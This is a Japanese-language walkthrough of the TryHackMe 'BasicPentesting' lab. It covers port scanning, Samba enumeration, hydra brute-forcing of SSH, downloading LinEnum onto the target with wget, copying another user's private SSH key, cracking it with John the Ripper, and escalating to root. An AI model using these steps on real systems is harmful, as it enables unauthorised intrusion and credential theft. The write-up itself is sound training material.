TryHackMe(THM):BasicPentesting

目次

Task 1 Web App Testing and Privilege Escalation

以下のことを学びます。

  • brute forcing
  • hash cracking
  • service enumeration
  • Linux Enumeration
    1. Find the services exposed by the machine

      まずnmapを実行します。

       # nmap -sV -sC <$IP>

      f:id:akebono-haze:20210504212659p:plain

      いくつかのポートが解放されていることが確認できます。

      • 22番ポート(SSH) ・・ OpenSSH7.2p2
      • 80番ポート(HTTP) ・・ Apache2.4.18
      • 139番ポートおよび445番ポート
        ・・ Sambaは、グループ«WORKGROUP»で共有
      • 8009番ポート(HTTP) ・・ ajp13 Apache Jserv
      • 8080番ポート(HTTP) ・・ Tomcat9.0.7
    2. What is the name of the hidden directory on the web server(enter name without /)?

      まずnmapを実行します。

      Webサーバ上の隠しディレクトリを調査するためにgobusterコマンドを実行します。

      f:id:akebono-haze:20210504214055p:plain

      検索結果に問題文の答えがあります。

      ブラウザで見つけたディレクトリにアクセスしてみます。

      f:id:akebono-haze:20210504215609p:plain

    3. User brute-forcing to find the username & password

    4. What is the username?

    5. What is the password?

      先人の知恵を拝借すると、nmapの結果からsambaのために開放しているポートに対して調査をするようです。

      enum4linux」コマンドを実行します。

      このコマンドは、Windowsのファイル共有やSambaから情報を取得し列挙(enumerate)するものらしいです。

      f:id:akebono-haze:20210504224738p:plain

      出力結果がいろいろと出てきますが、その中にユーザ名らしきものを2つ見つけました。

      f:id:akebono-haze:20210504231032p:plain

      その中の1つを利用して「hydora」コマンドを実行します。

      f:id:akebono-haze:20210504231113p:plain 

    6. What service do you use to access the server(answer in abbreviation in all caps)?

      設問1.で実行したnmapでhttpポート以外のサービスが解答になります。

    7. Enumerate the machine to find any vectors for privilege escalation

      先人の知恵を拝借すると、nmapの結果からsambaのために開放しているポートに対して調査をするようです。
      ローカルPC上で「LinEnum.sh」ファイルをダウンロードしておきます。

      github.com「LinEnum.sh」をダウンロードしたディレクトリ上でwebサーバを起ち上げます。

      f:id:akebono-haze:20210506213441p:plain

      別のターミナルを起動して、先ほど分かったユーザID/パスワードを使ってsshで接続先ほど分かったユーザID/パスワードを使ってsshで接続
      # ssh <ユーザ名>@<$IP> 

      f:id:akebono-haze:20210506213655p:plain

      ターゲットマシン側のターミナルでtmpディレクトリに移動後、wgetでLinEnumをダウンロードします。
      $ wget <$ローカルIP>:<ローカル側で解放したポート番号>/LinEnum.sh 

      f:id:akebono-haze:20210506214035p:plain

      LinEnumに実行権限を付加します。
      $ chmod +x LinEnum 

      f:id:akebono-haze:20210506214211p:plain

      LinEnumコマンドを実行します。teeコマンドで標準入力から受け取った内容を、標準出力とファイルに書き出します。

      f:id:akebono-haze:20210506215440p:plain

      出力結果を確認すると、「/home/kay/pass.bak」ファイルがあったので、ローカル側でscpコマンドを入力してみます。
      # scp jan@<$IP>:/home/kay/.ssh/id_rsa id_rsa.orig

       

      秘密鍵をpasswd形式ファイルに変換する秘密鍵をpasswd形式ファイルに変換します。
      # python /usr/share/john/ssh2john.py id_rsa.orig > id_rsa.hash

      John the ripper」を使ってパスワードハッシュを解析します。
      # john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa.hash

      f:id:akebono-haze:20210506220032p:plain

       

    8. What is the name of the other user you found(all lower case)?

      設問5.「enum4linuxコマンド」で見つかったもう一つのユーザが解答になります。

    9. If you have found another user, what can you do with this information?

      ターゲットマシン側のターミナルでもう1つのユーザのディレクトリに移動します。
      $ cd /home/kay/.ssh/

      sshで接続します。
      $ ssh -i /home/kay/.ssh/id_rsa kay@<$IP>

      パスワードを聞かれるのでjohnで解析できたパスワードを入力します。f:id:akebono-haze:20210506220847p:plain

    10. What is the final password you obtain?

      lsコマンドでファイルを確認すると、pass.bakファイルがあるので、「catコマンド」で中身を確認します。

      f:id:akebono-haze:20210506222004p:plain

      sudoコマンドを入力するとパスワードを聞かれるので先ほどの長いパスワードを入力します。

      $ sudo -l
       rootディレクトリへ移動 すると、flag.txtファイルが見つかります。
      catコマンドで中身を確認します。

      f:id:akebono-haze:20210506222425p:plain

       

完了!